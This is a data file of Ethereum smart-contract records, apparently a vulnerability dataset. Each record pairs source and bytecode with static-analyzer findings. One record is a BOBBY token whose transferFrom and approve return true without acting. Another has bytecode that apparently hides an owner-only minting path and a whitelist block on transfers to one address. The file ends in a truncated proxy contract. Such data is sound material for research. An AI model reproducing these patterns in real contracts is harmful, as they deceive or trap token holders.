e565b8585846109c79190611a15565b610e96565b600191505092915050565b60006109e1610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610a4e575060011515600960009054906101000a900460ff161515145b15610a8957610a65610a5e610d9e565b8484611061565b6000600960006101000a81548160ff02191690831515021790555060019050610c38565b610a91610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610afe575060001515600960009054906101000a900460ff161515145b15610c2157610b188260065461138590919063ffffffff16565b600681905550610b7082600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461138590919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c10919061191c565b60405180910390a360019050610c38565b610c33610c2c610d9e565b8484611061565b600190505b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ccd610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d519061189c565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b610dae610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e329061189c565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efd906118dc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6d9061181c565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611054919061191c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c8906118bc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611141576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611138906117fc565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111ee57600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166111ed57600080fd5b5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611275576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126c9061185c565b60405180910390fd5b81816112819190611a15565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461131391906119bf565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611377919061191c565b60405180910390a350505050565b600080828461139491906119bf565b9050838110156113d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d09061183c565b60405180910390fd5b8091505092915050565b60006113f66113f184611977565b611952565b9050808382526020820190508285602086028201111561141957611418611c3e565b5b60005b85811015611449578161142f8882611453565b84526020840193506020830192505060018101905061141c565b5050509392505050565b60008135905061146281611ed9565b92915050565b600082601f83011261147d5761147c611c39565b5b813561148d8482602086016113e3565b91505092915050565b6000813590506114a581611ef0565b92915050565b6000602082840312156114c1576114c0611c48565b5b60006114cf84828501611453565b91505092915050565b600080604083850312156114ef576114ee611c48565b5b60006114fd85828601611453565b925050602061150e85828601611453565b9150509250929050565b60008060006060848603121561153157611530611c48565b5b600061153f86828701611453565b935050602061155086828701611453565b925050604061156186828701611496565b9150509250925092565b6000806040838503121561158257611581611c48565b5b600061159085828601611453565b92505060206115a185828601611496565b9150509250929050565b6000602082840312156115c1576115c0611c48565b5b600082013567ffffffffffffffff8111156115df576115de611c43565b5b6115eb84828501611468565b91505092915050565b6115fd81611a49565b82525050565b61160c81611a5b565b82525050565b600061161d826119a3565b61162781856119ae565b9350611637818560208601611a9e565b61164081611c4d565b840191505092915050565b60006116586023836119ae565b915061166382611c5e565b604082019050919050565b600061167b6022836119ae565b915061168682611cad565b604082019050919050565b600061169e601b836119ae565b91506116a982611cfc565b602082019050919050565b60006116c16026836119ae565b91506116cc82611d25565b604082019050919050565b60006116e46028836119ae565b91506116ef82611d74565b604082019050919050565b60006117076020836119ae565b915061171282611dc3565b602082019050919050565b600061172a6025836119ae565b915061173582611dec565b604082019050919050565b600061174d6024836119ae565b915061175882611e3b565b604082019050919050565b60006117706025836119ae565b915061177b82611e8a565b604082019050919050565b61178f81611a87565b82525050565b61179e81611a91565b82525050565b60006020820190506117b960008301846115f4565b92915050565b60006020820190506117d46000830184611603565b92915050565b600060208201905081810360008301526117f48184611612565b905092915050565b600060208201905081810360008301526118158161164b565b9050919050565b600060208201905081810360008301526118358161166e565b9050919050565b6000602082019050818103600083015261185581611691565b9050919050565b60006020820190508181036000830152611875816116b4565b9050919050565b60006020820190508181036000830152611895816116d7565b9050919050565b600060208201905081810360008301526118b5816116fa565b9050919050565b600060208201905081810360008301526118d58161171d565b9050919050565b600060208201905081810360008301526118f581611740565b9050919050565b6000602082019050818103600083015261191581611763565b9050919050565b60006020820190506119316000830184611786565b92915050565b600060208201905061194c6000830184611795565b92915050565b600061195c61196d565b90506119688282611b03565b919050565b6000604051905090565b600067ffffffffffffffff82111561199257611991611c0a565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b60006119ca82611a87565b91506119d583611a87565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611a0a57611a09611b7d565b5b828201905092915050565b6000611a2082611a87565b9150611a2b83611a87565b925082821015611a3e57611a3d611b7d565b5b828203905092915050565b6000611a5482611a67565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611abc578082015181840152602081019050611aa1565b83811115611acb576000848401525b50505050565b60006002820490506001821680611ae957607f821691505b60208210811415611afd57611afc611bac565b5b50919050565b611b0c82611c4d565b810181811067ffffffffffffffff82111715611b2b57611b2a611c0a565b5b80604052505050565b6000611b3f82611a87565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611b7257611b71611b7d565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611ee281611a49565b8114611eed57600080fd5b50565b611ef981611a87565b8114611f0457600080fd5b5056fea26469706673582212206d87e62fdc5aeb446d5793473554d159478e45ab137b8a75d3b2afe76d9ff43164736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
8,376
0xb10441f945aa16c9a765ea5baef65cf3e49bbd08
pragma solidity ^0.4.8; library BobbySafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BobbyERC20Base { address public ceoAddress; address public cfoAddress; //是否暂停智能合约的运行 bool public paused = false; constructor(address cfoAddr) public { ceoAddress = msg.sender; cfoAddress = cfoAddr; } modifier onlyCEO() { require(msg.sender == ceoAddress); _; } function setCEO(address _newCEO) public onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } modifier whenNotPaused() { require(!paused); _; } modifier whenPaused { require(paused); _; } function pause() external onlyCEO whenNotPaused { paused = true; } function unpause() public onlyCEO whenPaused { paused = false; } } contract ERC20Interface { //ERC20指定接口 event Approval(address indexed src, address indexed guy, uint wad); event Transfer(address indexed src, address indexed dst, uint wad); //extend event event Grant(address indexed src, address indexed dst, uint wad); //发放代币,有解禁期 event Unlock(address indexed user, uint wad); //解禁代币 function name() public view returns (string n); function symbol() public view returns (string s); function decimals() public view returns (uint8 d); function totalSupply() public view returns (uint256 t); function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); } //Erc智能合约 contract ERC20 is ERC20Interface, BobbyERC20Base { using BobbySafeMath for uint256; uint private _Thousand = 1000; uint private _Billion = _Thousand * _Thousand * _Thousand; //代币基本信息 string private _name = "BOBBY"; //代币名称 string private _symbol = "BOBBY"; //代币标识 uint8 private _decimals = 9; //小数点后位数 uint256 private _totalSupply = 10 * _Billion * (10 ** uint256(_decimals)); struct LockedToken { uint256 total; // 数量 uint256 duration; // 解锁总时长 uint256 periods; // 解锁期数 uint256 balance; // 剩余未解锁数量 uint256 unlockLast; // 上次解锁时间 } //解封用户代币结构 struct UserToken { uint index; //放在数组中的下标 address addr; //用户账号 uint256 tokens; //通证数量 LockedToken[] lockedTokens; //锁定的token } mapping(address=>UserToken) private _userMap; //用户映射 address[] private _userArray; //用户数组,from 1 uint32 private actionTransfer = 0; uint32 private actionGrant = 1; uint32 private actionUnlock = 2; struct LogEntry { uint256 time; uint32 action; // 0 转账 1 发放 2 解锁 address from; address to; uint256 v1; uint256 v2; uint256 v3; } LogEntry[] private _logs; function _addUser(address addrUser) private returns (UserToken storage) { _userMap[addrUser].index = _userArray.length; _userMap[addrUser].addr = addrUser; _userMap[addrUser].tokens = 0; _userArray.push(addrUser); return _userMap[addrUser]; } //构造方法,将代币的初始总供给都分配给合约的部署账户。合约的构造方法只在合约部署时执行一次 constructor(address cfoAddr) BobbyERC20Base(cfoAddr) public { //placeholder _userArray.push(address(0)); UserToken storage userCFO = _addUser(cfoAddr); userCFO.tokens = _totalSupply; } //返回合约名称。view关键子表示函数只查询状态变量,而不写入 function name() public view returns (string n){ n = _name; } //返回合约标识符 function symbol() public view returns (string s){ s = _symbol; } //返回合约小数位 function decimals() public view returns (uint8 d){ d = _decimals; } //返回合约总供给额 function totalSupply() public view returns (uint256 t){ t = _totalSupply; } //查询账户_owner的账户余额 function balanceOf(address _owner) public view returns (uint256 balance){ UserToken storage user = _userMap[_owner]; if (0 == user.index) { balance = 0; return; } balance = user.tokens; for (uint index = 0; index < user.lockedTokens.length; index++) { balance = balance.add((user.lockedTokens[index]).balance); } } function _checkUnlock(address addrUser) private { UserToken storage user = _userMap[addrUser]; if (0 == user.index) { return; } for (uint index = 0; index < user.lockedTokens.length; index++) { LockedToken storage locked = user.lockedTokens[index]; if(locked.balance <= 0){ continue; } uint256 diff = now.sub(locked.unlockLast); uint256 unlockUnit = locked.total.div(locked.periods); uint256 periodDuration = locked.duration.div(locked.periods); uint256 unlockedPeriods = locked.total.sub(locked.balance).div(unlockUnit); uint256 periodsToUnlock = diff.div(periodDuration); if(periodsToUnlock > 0) { uint256 tokenToUnlock = 0; if(unlockedPeriods + periodsToUnlock >= locked.periods) { tokenToUnlock = locked.balance; }else{ tokenToUnlock = unlockUnit.mul(periodsToUnlock); } if (tokenToUnlock >= locked.balance) { tokenToUnlock = locked.balance; } locked.balance = locked.balance.sub(tokenToUnlock); user.tokens = user.tokens.add(tokenToUnlock); locked.unlockLast = locked.unlockLast.add(periodDuration.mul(periodsToUnlock)); emit Unlock(addrUser, tokenToUnlock); log(actionUnlock, addrUser, 0, tokenToUnlock, 0, 0); } } } //从代币合约的调用者地址上转移_value的数量token到的地址_to,并且必须触发Transfer事件 function transfer(address _to, uint256 _value) public whenNotPaused returns (bool success){ require(msg.sender != _to); //检查是否有可以解锁的token _checkUnlock(msg.sender); require(_userMap[msg.sender].tokens >= _value); _userMap[msg.sender].tokens = _userMap[msg.sender].tokens.sub(_value); UserToken storage userTo = _userMap[_to]; if(0 == userTo.index){ userTo = _addUser(_to); } userTo.tokens = userTo.tokens.add(_value); emit Transfer(msg.sender, _to, _value); log(actionTransfer, msg.sender, _to, _value, 0, 0); success = true; } function transferFrom(address, address, uint256) public whenNotPaused returns (bool success){ success = true; } function approve(address, uint256) public whenNotPaused returns (bool success){ success = true; } function allowance(address, address) public view returns (uint256 remaining){ remaining = 0; } function grant(address _to, uint256 _value, uint256 _duration, uint256 _periods) public whenNotPaused returns (bool success){ require(msg.sender != _to); //检查是否有可以解锁的token _checkUnlock(msg.sender); require(_userMap[msg.sender].tokens >= _value); _userMap[msg.sender].tokens = _userMap[msg.sender].tokens.sub(_value); UserToken storage userTo = _userMap[_to]; if(0 == userTo.index){ userTo = _addUser(_to); } LockedToken memory locked; locked.total = _value; locked.duration = _duration.mul(30 days); // locked.duration = _duration.mul(1 minutes); //for test locked.periods = _periods; locked.balance = _value; locked.unlockLast = now; userTo.lockedTokens.push(locked); emit Grant(msg.sender, _to, _value); log(actionGrant, msg.sender, _to, _value, _duration, _periods); success = true; } function getUserAddr(uint256 _index) public view returns(address addr){ require(_index < _userArray.length); addr = _userArray[_index]; } function getUserSize() public view returns(uint256 size){ size = _userArray.length; } function getLockSize(address addr) public view returns (uint256 len) { UserToken storage user = _userMap[addr]; len = user.lockedTokens.length; } function getLock(address addr, uint256 index) public view returns (uint256 total, uint256 duration, uint256 periods, uint256 balance, uint256 unlockLast) { UserToken storage user = _userMap[addr]; require(index < user.lockedTokens.length); total = user.lockedTokens[index].total; duration = user.lockedTokens[index].duration; periods = user.lockedTokens[index].periods; balance = user.lockedTokens[index].balance; unlockLast = user.lockedTokens[index].unlockLast; } function getLockInfo(address addr) public view returns (uint256[] totals, uint256[] durations, uint256[] periodses, uint256[] balances, uint256[] unlockLasts) { UserToken storage user = _userMap[addr]; uint256 len = user.lockedTokens.length; totals = new uint256[](len); durations = new uint256[](len); periodses = new uint256[](len); balances = new uint256[](len); unlockLasts = new uint256[](len); for (uint index = 0; index < user.lockedTokens.length; index++) { totals[index] = user.lockedTokens[index].total; durations[index] = user.lockedTokens[index].duration; periodses[index] = user.lockedTokens[index].periods; balances[index] = user.lockedTokens[index].balance; unlockLasts[index] = user.lockedTokens[index].unlockLast; } } function log(uint32 action, address from, address to, uint256 _v1, uint256 _v2, uint256 _v3) private { LogEntry memory entry; entry.action = action; entry.time = now; entry.from = from; entry.to = to; entry.v1 = _v1; entry.v2 = _v2; entry.v3 = _v3; _logs.push(entry); } function getLogSize() public view returns(uint256 size){ size = _logs.length; } function getLog(uint256 _index) public view returns(uint time, uint32 action, address from, address to, uint256 _v1, uint256 _v2, uint256 _v3){ require(_index < _logs.length); require(_index >= 0); LogEntry storage entry = _logs[_index]; action = entry.action; time = entry.time; from = entry.from; to = entry.to; _v1 = entry.v1; _v2 = entry.v2; _v3 = entry.v3; } }
0x6080604052600436106101325763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630519ce79811461013757806306fdde0314610168578063095ea7b3146101f25780630a0f81681461022a5780630c73a3921461023f5780631208a2561461026657806318160ddd146102b557806323b872dd146102ca578063254bd326146102f457806327d7874c1461030c578063313ce5671461032f5780633206b2c61461035a5780633248687a146103bb5780633f4ba83a146103dc5780635c975abb146103f157806370a08231146104065780637238ccdb146104275780638456cb59146105b057806395d89b41146105c5578063a9059cbb146105da578063c040ebec146105fe578063cb740c6114610613578063dd62ed3e1461063d575b600080fd5b34801561014357600080fd5b5061014c610664565b60408051600160a060020a039092168252519081900360200190f35b34801561017457600080fd5b5061017d610673565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101b757818101518382015260200161019f565b50505050905090810190601f1680156101e45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101fe57600080fd5b50610216600160a060020a0360043516602435610709565b604080519115158252519081900360200190f35b34801561023657600080fd5b5061014c61072c565b34801561024b57600080fd5b5061025461073b565b60408051918252519081900360200190f35b34801561027257600080fd5b5061028a600160a060020a0360043516602435610741565b6040805195865260208601949094528484019290925260608401526080830152519081900360a00190f35b3480156102c157600080fd5b50610254610834565b3480156102d657600080fd5b50610216600160a060020a036004358116906024351660443561083a565b34801561030057600080fd5b5061014c60043561085e565b34801561031857600080fd5b5061032d600160a060020a0360043516610898565b005b34801561033b57600080fd5b506103446108f3565b6040805160ff9092168252519081900360200190f35b34801561036657600080fd5b506103726004356108fc565b6040805197885263ffffffff9096166020880152600160a060020a0394851687870152929093166060860152608085015260a084019190915260c0830152519081900360e00190f35b3480156103c757600080fd5b50610254600160a060020a0360043516610997565b3480156103e857600080fd5b5061032d6109b5565b3480156103fd57600080fd5b50610216610a04565b34801561041257600080fd5b50610254600160a060020a0360043516610a14565b34801561043357600080fd5b50610448600160a060020a0360043516610a9c565b60405180806020018060200180602001806020018060200186810386528b818151815260200191508051906020019060200280838360005b83811015610498578181015183820152602001610480565b5050505090500186810385528a818151815260200191508051906020019060200280838360005b838110156104d75781810151838201526020016104bf565b50505050905001868103845289818151815260200191508051906020019060200280838360005b838110156105165781810151838201526020016104fe565b50505050905001868103835288818151815260200191508051906020019060200280838360005b8381101561055557818101518382015260200161053d565b50505050905001868103825287818151815260200191508051906020019060200280838360005b8381101561059457818101518382015260200161057c565b505050509050019a505050505050505050505060405180910390f35b3480156105bc57600080fd5b5061032d610cee565b3480156105d157600080fd5b5061017d610d42565b3480156105e657600080fd5b50610216600160a060020a0360043516602435610da3565b34801561060a57600080fd5b50610254610ecd565b34801561061f57600080fd5b50610216600160a060020a0360043516602435604435606435610ed3565b34801561064957600080fd5b50610254600160a060020a0360043581169060243516611071565b600154600160a060020a031681565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106ff5780601f106106d4576101008083540402835291602001916106ff565b820191906000526020600020905b8154815290600101906020018083116106e257829003601f168201915b5050505050905090565b60015460009060a060020a900460ff161561072357600080fd5b50600192915050565b600054600160a060020a031681565b600b5490565b600160a060020a038216600090815260086020526040812060038101548291829182918291871061077157600080fd5b6003810180548890811061078157fe5b906000526020600020906005020160000154955080600301878154811015156107a657fe5b906000526020600020906005020160010154945080600301878154811015156107cb57fe5b906000526020600020906005020160020154935080600301878154811015156107f057fe5b9060005260206000209060050201600301549250806003018781548110151561081557fe5b9060005260206000209060050201600401549150509295509295909350565b60075490565b60015460009060a060020a900460ff161561085457600080fd5b5060019392505050565b600954600090821061086f57600080fd5b600980548390811061087d57fe5b600091825260209091200154600160a060020a031692915050565b600054600160a060020a031633146108af57600080fd5b600160a060020a03811615156108c457600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60065460ff1690565b600080600080600080600080600b805490508910151561091b57600080fd5b600089101561092957600080fd5b600b80548a90811061093757fe5b6000918252602090912060069091020160018101548154600283015460038401546004850154600590950154929e63ffffffff85169e50640100000000909404600160a060020a039081169d509091169a50985091965090945092505050565b600160a060020a031660009081526008602052604090206003015490565b600054600160a060020a031633146109cc57600080fd5b60015460a060020a900460ff1615156109e457600080fd5b6001805474ff000000000000000000000000000000000000000019169055565b60015460a060020a900460ff1681565b600160a060020a0381166000908152600860205260408120805482901515610a3f5760009250610a95565b506002810154915060005b6003820154811015610a9557610a8b8260030182815481101515610a6a57fe5b9060005260206000209060050201600301548461107990919063ffffffff16565b9250600101610a4a565b5050919050565b600160a060020a038116600090815260086020908152604080832060038101548251818152818502810190940190925260609384938493849384939092828015610af0578160200160208202803883390190505b50975081604051908082528060200260200182016040528015610b1d578160200160208202803883390190505b50965081604051908082528060200260200182016040528015610b4a578160200160208202803883390190505b50955081604051908082528060200260200182016040528015610b77578160200160208202803883390190505b50945081604051908082528060200260200182016040528015610ba4578160200160208202803883390190505b509350600090505b6003830154811015610ce25760038301805482908110610bc857fe5b9060005260206000209060050201600001548882815181101515610be857fe5b6020908102909101015260038301805482908110610c0257fe5b9060005260206000209060050201600101548782815181101515610c2257fe5b6020908102909101015260038301805482908110610c3c57fe5b9060005260206000209060050201600201548682815181101515610c5c57fe5b6020908102909101015260038301805482908110610c7657fe5b9060005260206000209060050201600301548582815181101515610c9657fe5b6020908102909101015260038301805482908110610cb057fe5b9060005260206000209060050201600401548482815181101515610cd057fe5b60209081029091010152600101610bac565b50505091939590929450565b600054600160a060020a03163314610d0557600080fd5b60015460a060020a900460ff1615610d1c57600080fd5b6001805474ff0000000000000000000000000000000000000000191660a060020a179055565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106ff5780601f106106d4576101008083540402835291602001916106ff565b600154600090819060a060020a900460ff1615610dbf57600080fd5b33600160a060020a0385161415610dd557600080fd5b610dde33611093565b33600090815260086020526040902060020154831115610dfd57600080fd5b33600090815260086020526040902060020154610e20908463ffffffff6112bc16565b3360009081526008602052604080822060020192909255600160a060020a03861681522080549091501515610e5b57610e58846112ce565b90505b6002810154610e70908463ffffffff61107916565b6002820155604080518481529051600160a060020a0386169133917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3600a546108549063ffffffff16338686600080611353565b60095490565b600080610ede61153b565b60015460a060020a900460ff1615610ef557600080fd5b33600160a060020a0388161415610f0b57600080fd5b610f1433611093565b33600090815260086020526040902060020154861115610f3357600080fd5b33600090815260086020526040902060020154610f56908763ffffffff6112bc16565b3360009081526008602052604080822060020192909255600160a060020a03891681522080549092501515610f9157610f8e876112ce565b91505b858152610fa78562278d0063ffffffff6114f916565b60208083019182526040808401878152606085018a8152426080870190815260038089018054600181810183556000928352918890208a51600590920201908155975190880155925160028701559051918501919091555160049093019290925581518881529151600160a060020a038a169233927fdc1e872d7927b949dd471e2dd9d43153685b5564c9a6aaf82246e27c0a9f2a2892918290030190a3600a5461106490640100000000900463ffffffff163389898989611353565b5060019695505050505050565b506000919050565b60008282018381101561108857fe5b8091505b5092915050565b600160a060020a03811660009081526008602052604081208054909190819081908190819081908190819015156110c9576112b0565b600097505b60038901548810156112b057600389018054899081106110ea57fe5b906000526020600020906005020196506000876003015411151561110d576112a5565b600487015461112390429063ffffffff6112bc16565b6002880154885491975061113d919063ffffffff61152416565b945061115a8760020154886001015461152490919063ffffffff16565b93506111878561117b89600301548a600001546112bc90919063ffffffff16565b9063ffffffff61152416565b9250611199868563ffffffff61152416565b915060008211156112a557506002860154600090838301106111c0575060038601546111d3565b6111d0858363ffffffff6114f916565b90505b600387015481106111e5575060038601545b60038701546111fa908263ffffffff6112bc16565b60038801556002890154611214908263ffffffff61107916565b60028a015561123d61122c858463ffffffff6114f916565b60048901549063ffffffff61107916565b6004880155604080518281529051600160a060020a038c16917f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1919081900360200190a2600a546112a59068010000000000000000900463ffffffff168b6000848180611353565b6001909701966110ce565b50505050505050505050565b6000828211156112c857fe5b50900390565b60098054600160a060020a039290921660008181526008602052604081209384556001808501805473ffffffffffffffffffffffffffffffffffffffff199081168517909155600286019290925583549081019093557f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af909201805490921617905590565b61135b61156b565b63ffffffff96871660208201908152428252600160a060020a0396871660408301908152958716606083019081526080830195865260a0830194855260c08301938452600b805460018101825560009190915292517f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db960069094029384015590517f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01dba83018054975163ffffffff19909816919099161777ffffffffffffffffffffffffffffffffffffffff000000001916640100000000968816969096029590951790965592517f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01dbb8601805473ffffffffffffffffffffffffffffffffffffffff19169190951617909355517f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01dbc84015590517f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01dbd830155517f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01dbe90910155565b60008083151561150c576000915061108c565b5082820282848281151561151c57fe5b041461108857fe5b600080828481151561153257fe5b04949350505050565b60a06040519081016040528060008152602001600081526020016000815260200160008152602001600081525090565b60e06040519081016040528060008152602001600063ffffffff1681526020016000600160a060020a031681526020016000600160a060020a0316815260200160008152602001600081526020016000815250905600a165627a7a7230582036e41aaa652eadca7eaf6c7aff95bd9f7b0f585f0aeea36c1dca70f67e77afdd0029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
8,377
0x5e7a939f77e5c441e2ba1dc8be5d42020193376d
/** *Submitted for verification at Etherscan.io on 2021-05-17 */ /** *Submitted for verification at Etherscan.io on 2020-10-09 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal 